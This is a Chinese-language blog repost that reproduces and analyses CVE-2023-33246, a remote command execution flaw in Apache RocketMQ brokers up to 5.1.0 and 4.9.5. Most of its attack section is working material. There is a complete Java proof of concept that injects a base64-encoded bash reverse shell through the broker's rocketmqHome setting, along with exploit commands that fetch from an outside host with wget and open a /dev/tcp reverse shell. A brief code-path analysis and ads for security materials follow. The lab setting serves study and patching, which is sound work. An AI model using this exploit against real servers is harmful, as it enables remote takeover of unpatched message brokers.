CVE-2023-33246命令执行复现分析

这篇具有很好参考价值的文章主要介绍了CVE-2023-33246命令执行复现分析。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

RocketMQ是一款低延迟、高并发、高可用、高可靠的分布式消息中间件。既可为分布式应用系统提供异步解耦和削峰填谷的能力,同时也具备互联网应用所需的海量消息堆积、高吞吐、可靠重试等特性。

影响版本

<=RocketMQ 5.1.0

<=RocketMQ 4.9.5

环境搭建

docker pull apache/rocketmq:4.9.4
root@ubuntu:/home/ubuntu/Desktop# docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv      //起nameserver

创建broker.conf,并且修改配置文件内容

root@ubuntu:/home/ubuntu/Desktop# docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf    //起Broker
docker ps

http://127.0.0.1:10912/

python3 check.py --ip 10.10.14.72 --port 9876
python3 CVE-2023-33246_RocketMQ_RCE_EXPLOIT.py 10.10.14.72 10911 wget  10.10.14.162:8666/1.txt

使用vulhub直接搭建可能效果好一点儿,否则,不知道为什么在漏洞利用执行上面命令的时候无回显,可能exp的问题

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

cd vulhub/rocketmq/CVE-2023-33246
docker-compose up -d

POC如下

import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;
​
import java.util.Base64;
import java.util.Properties;
​
public class poc {
    private static String getCmd(String ip, String port) {
        String cmd = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1";
        String cmdBase = Base64.getEncoder().encodeToString(cmd.getBytes());
        return "-c $@|sh . echo echo \"" + cmdBase + "\"|base64 -d|bash -i;";
    }
​
    public static void main(String[] args) throws Exception {
        String targetHost = "目的IP";
        String targetPort = "10911";
    
        String shellHost = "VPSIP";
        String shellPort = "Listen-port";
    
        String targetAddr = String.format("%s:%s",targetHost,targetPort);
        Properties props = new Properties();
        props.setProperty("rocketmqHome", getCmd(shellHost,shellPort));
        props.setProperty("filterServerNums", "1");
        // 创建 DefaultMQAdminExt 对象并启动
        DefaultMQAdminExt admin = new DefaultMQAdminExt();
​
//        admin.setNamesrvAddr("0.0.0.0:12345");
        admin.start();
        // 更新配置⽂件
        admin.updateBrokerConfig(targetAddr, props);
        Properties brokerConfig = admin.getBrokerConfig(targetAddr);
        System.out.println(brokerConfig.getProperty("rocketmqHome"));
        System.out.println(brokerConfig.getProperty("filterServerNums"));
        // 关闭 DefaultMQAdminExt 对象
        admin.shutdown();
    }
}

使用IDEA创建maven项目,创建xml文件下载依赖,下载地址

https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools/4.9.4

<!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools -->
<dependency>
    <groupId>org.apache.rocketmq</groupId>
    <artifactId>rocketmq-tools</artifactId>
    <version>4.9.4</version>
</dependency>

修改POC

import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;
​
import java.util.Base64;
import java.util.Properties;
​
public class poc {
    private static String getCmd(String ip, String port) {
        String cmd = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1";
        String cmdBase = Base64.getEncoder().encodeToString(cmd.getBytes());
        return "-c $@|sh . echo echo \"" + cmdBase + "\"|base64 -d|bash -i;";
    }
​
    public static void main(String[] args) throws Exception {
        String targetHost = "10.10.14.72";
        String targetPort = "10911";
    
        String shellHost = "10.10.14.72";
        String shellPort = "65532";
    
        String targetAddr = String.format("%s:%s",targetHost,targetPort);
        Properties props = new Properties();
        props.setProperty("rocketmqHome", getCmd(shellHost,shellPort));
        props.setProperty("filterServerNums", "1");
        // 创建 DefaultMQAdminExt 对象并启动
        DefaultMQAdminExt admin = new DefaultMQAdminExt();
​
//        admin.setNamesrvAddr("0.0.0.0:12345");
        admin.start();
        // 更新配置⽂件
        admin.updateBrokerConfig(targetAddr, props);
        Properties brokerConfig = admin.getBrokerConfig(targetAddr);
        System.out.println(brokerConfig.getProperty("rocketmqHome"));
        System.out.println(brokerConfig.getProperty("filterServerNums"));
        // 关闭 DefaultMQAdminExt 对象
        admin.shutdown();
    }
}

反弹结果

git clone https://github.com/SuperZero/CVE-2023-33246.git
java -jar CVE-2023-33246.jar -ip "127.0.0.1:10911" -cmd "222 >/root/2.txt"

进入容器,查看根部录下文件是已写入

java -jar CVE-2023-33246.jar -ip "127.0.0.1:10911" -cmd "bash -i >& /dev/tcp/10.10.14.72/65532 0>&1"

反弹shell

漏洞分析

启动broker路由如下:

main:50, BrokerStartup (org.apache.rocketmq.broker)
start:55, BrokerStartup (org.apache.rocketmq.broker) 
start:1570, BrokerController (org.apache.rocketmq.broker) 
startBasicService:1527, BrokerController (org.apache.rocketmq.broker) 
start:57, FilterServerManager (org.apache.rocketmq.broker.filtersrv)

当在函数org.apache.rocketmq.broker.filtersrv.FilterServerManager61行

调用下面的createFilterServer方法,71行中看到从配置文件中获取参数。72行调用方法buildStartCommand

该方法中取到变量NamesrvAddr和 RocketmqHome,获取之后进行拼接cmd,在72行拿到拼接后的cmd

进入for循环后在org.apache.rocketmq.broker.filtersrv.FilterServerUtil中给的callshell方法去执行命令

该中间件本来就是每30秒执行一次,漏洞产生的就是修改了配置文件,变量被赋值为了恶意命令,导致了命令执行。

更多网安技能的在线实操练习,请点击这里>>

 文章来源地址https://www.toymoban.com/news/detail-490367.html

到了这里,关于CVE-2023-33246命令执行复现分析的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Cacti命令执行漏洞复现(CVE-2022-46169)

    Cacti项目是一个开源平台,可为用户提供强大且可扩展的操作监控和故障管理框架。在1.2.22版本中存在一处命令注入漏洞,攻击者可以通过X-Forwarded-For请求头绕过服务端校验并在其中执行任意命令。漏洞编号:CVE-2022-46169,漏洞等级:严重。 影响版本 Cacti == 1.2.22 不受影响版本

    2024年02月02日
    浏览(72)
  • CVE-2021-22205 GitLab 远程命令执行漏洞复现

    目录 一、漏洞信息 二、环境搭建 三、复现过程 1.测试漏洞 2.漏洞利用,反弹shell 四、修复建议 一、漏洞信息 漏洞名称 GITLAB 远程命令执行漏洞 漏洞编号 CVE-2021-22205 危害等级 高危 CVSS评分 6.5 漏洞厂商 Ruby 受影响版本 11.9 = Gitlab CE/EE 13.8.8;13.9 = Gitlab CE/EE 13.9.6;13.10 = Gitlab

    2024年02月05日
    浏览(33)
  • CVE-2023-1454注入分析复现

    简介 JeecgBoot的代码生成器是一种可以帮助开发者快速构建企业级应用的工具,它可以通过一键生成前后端代码,无需写任何代码,让开发者更多关注业务逻辑。 影响版本 Jeecg-Boot= 3.5.1 环境搭建 idea+ 后端源码: https://github.com/jeecgboot/jeecg-boot/archive/refs/tags/v3.5.0.zip 前端源码:

    2024年02月16日
    浏览(26)
  • Spring Data Commons远程命令执行漏洞复现(CVE-2018-1273)

    一、漏洞说明 Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,包含Commons、Gemfire、JPA、JDBC、MongoDB等模块。此漏洞产生于Spring Data Commons组件,该组件为提供共享的基础框架,适合各个子项目使用,支持跨数据库持久化。 Spring Data Commons组件中存在远程代码执行

    2024年02月09日
    浏览(36)
  • Apache Struts2 S2-045远程命令执行漏洞(CVE-2017-5638)复现

    Apache Struts2是Apache项目下的一个web 框架,帮助Java开发者利用J2EE来开发Web相关应用。 Apache Struts2的Jakarta Multipart parser插件存在远程代码执行漏洞,攻击者可以在使用该插件上传文件时,修改HTTP请求头中的Content-Type值来触发该漏洞,导致远程执行代码。 Struts 2.3.5 – Struts 2.3.3

    2024年02月15日
    浏览(30)
  • LangChain 任意命令执行(CVE-2023-34541)

    LangChain是一个用于开发由语言模型驱动的应用程序的框架。 在LangChain受影响版本中,由于load_prompt函数加载提示文件时未对加载内容进行安全过滤,攻击者可通过构造包含恶意命令的提示文件,诱导用户加载该文件,即可造成任意系统命令执行。 在项目下编写  test.py ​ 同级

    2024年02月11日
    浏览(30)
  • CVE-2023-34541 LangChain 任意命令执行

    LangChain是一个用于开发由语言模型驱动的应用程序的框架。 在LangChain受影响版本中,由于load_prompt函数加载提示文件时未对加载内容进行安全过滤,攻击者可通过构造包含恶意命令的提示文件,诱导用户加载该文件,即可造成任意系统命令执行。 在项目下编写  test.py 同级目

    2024年02月11日
    浏览(25)
  • CVE-2022-30190分析以及复现和POC利用 //Microsoft Office MSDT 远程代码执行漏洞

    在微软官方的介绍里,是从 Word 等调用应用程序使用 URL 协议调用 MSDT 时存在远程执行代码漏洞。成功利用此漏洞的攻击者可以使用调用应用程序的权限运行任意代码。 意思是恶意 Word 文档可以使用远程模板功能从远程服务器获取 HTML 文件,并且 HTML 代码可以使用 Microsoft 的

    2024年02月04日
    浏览(50)
  • 【漏洞复现】Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)

    感谢互联网提供分享知识与智慧,在法治的社会里,请遵守有关法律法规 说明 内容 漏洞编号 CVE-2017-5645 漏洞名称 Log4j Server 反序列化命令执行漏洞 漏洞评级 高危 影响范围 Apache Log4j 2.8.2之前的2.x版本 漏洞描述 修复方案 1.1、漏洞描述 攻击者可以通过发送一个特别制作的2进

    2024年02月05日
    浏览(48)
  • Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)(漏洞复现详细过程)

    目录 一、漏洞介绍 二、漏洞环境搭建 三、漏洞利用 四、漏洞流量特征: CVE-2017-5645 是 Apache Log4j 服务器的一个反序列化命令执行漏洞,攻击者可以利用这个漏洞通过发送精心制作的请求,远程执行命令,从而危及服务器的安全。 进入漏洞目录文件,启动漏洞环境:docker-c

    2024年02月16日
    浏览(41)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包